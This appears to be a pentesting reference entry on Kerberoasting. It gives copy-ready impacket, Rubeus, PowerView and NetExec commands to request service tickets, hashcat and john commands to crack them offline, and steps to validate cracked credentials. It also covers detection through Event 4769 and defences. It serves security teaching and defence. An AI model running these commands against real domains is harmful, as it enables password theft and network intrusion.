Kerberoasting

Kerberoasting abuses how Kerberos issues service tickets to crack service-account passwords offline, without touching the target account or raising alarms on the wire.

Why it works. Any domain user can request a TGS (service ticket) for any account that has a Service Principal Name (SPN) set. Part of that ticket is encrypted with the NT hash of the service account's password. The attacker requests tickets for SPN-enabled accounts, extracts the encrypted blobs and cracks them offline: since the cracking happens on their own machine, there are no login attempts against the account and nothing looks abnormal.

The abuse. You request the TGS and feed them to hashcat. The encryption type matters a lot: RC4 (etype 23, mode 13100) falls fast; AES (etype 17/18, mode 19700) is far slower.

From Linux with impacket, depending on which credential you hold (password, hash or ticket) and whether you want every account or just one:

GetUserSPNs.py <domain>/<user>:<pass> -dc-ip <dc-ip> -request           # all, with password
GetUserSPNs.py <domain>/<user> -hashes :<nt-hash> -dc-ip <dc-ip> -request   # with pass-the-hash
GetUserSPNs.py -k -no-pass <domain>/<user> -dc-ip <dc-ip> -request      # with a TGT (KRB5CCNAME)
GetUserSPNs.py <domain>/<user>:<pass> -dc-ip <dc-ip> -request-user <svc> -outputfile hashes.txt   # a single one
netexec ldap <dc-ip> -u <user> -p <pass> --kerberoasting hashes.txt     # NetExec as an alternative

From a domain-joined Windows box, without uploading binaries, with Rubeus or PowerView:

Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus.exe kerberoast /rc4opsec                    # only RC4-crackable accounts (less noise)
Rubeus.exe kerberoast /user:<svc> /simple          # a specific account
setspn.exe -T <domain> -Q */*                       # list domain SPNs (native)
Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat   # PowerView

Crack offline, with the mode matching the ticket's etype:

hashcat -m 13100 hashes.txt <rockyou.txt>           # RC4 (etype 23)
hashcat -m 19700 hashes.txt <rockyou.txt>           # AES256 (etype 18)
john --format=krb5tgs --wordlist=<rockyou.txt> hashes.txt

If you control an object with GenericWrite or GenericAll over a user, you can even add an SPN to it and roast it: that is targeted Kerberoasting.

Verification. A cracked password is not access until you validate it: run it through netexec over SMB/WinRM ((Pwn3d!)) to confirm where it works and what it opens.

Nuance. Kerberoasting does not guarantee RCE: it is a door to an offline crack that only opens if the password is weak. Against a service account with a long, random password, or a gMSA (a 120+ character key managed by the domain), the hash never falls. It is also an authenticated attack: you need valid domain credentials to request the tickets, and the account must have an SPN (or you must be able to add one). An environment that only allows AES slows the crack enough to make it infeasible in many cases.

How to detect it. Every TGS request leaves an Event ID 4769 on the Domain Controller (A Kerberos service ticket was requested). The telltale sign is a spike of 4769 from a single account requesting many different SPNs, and above all a Ticket Encryption Type of 0x17 (RC4) while the rest of the domain already negotiates AES: the attacker forces RC4 because it cracks faster in hashcat. A useful rule alerts on several 4769 with etype 0x17 in a short window, filtering out krbtgt and machine accounts (those ending in $). A decoy service account, with an SPN but no legitimate use, turns any 4769 against it into a high-fidelity alert.

Defence. Long, random passwords or gMSAs on service accounts, and force AES only on those accounts: that way, even if the TGS is requested and stolen, the resulting hash is not crackable in practice.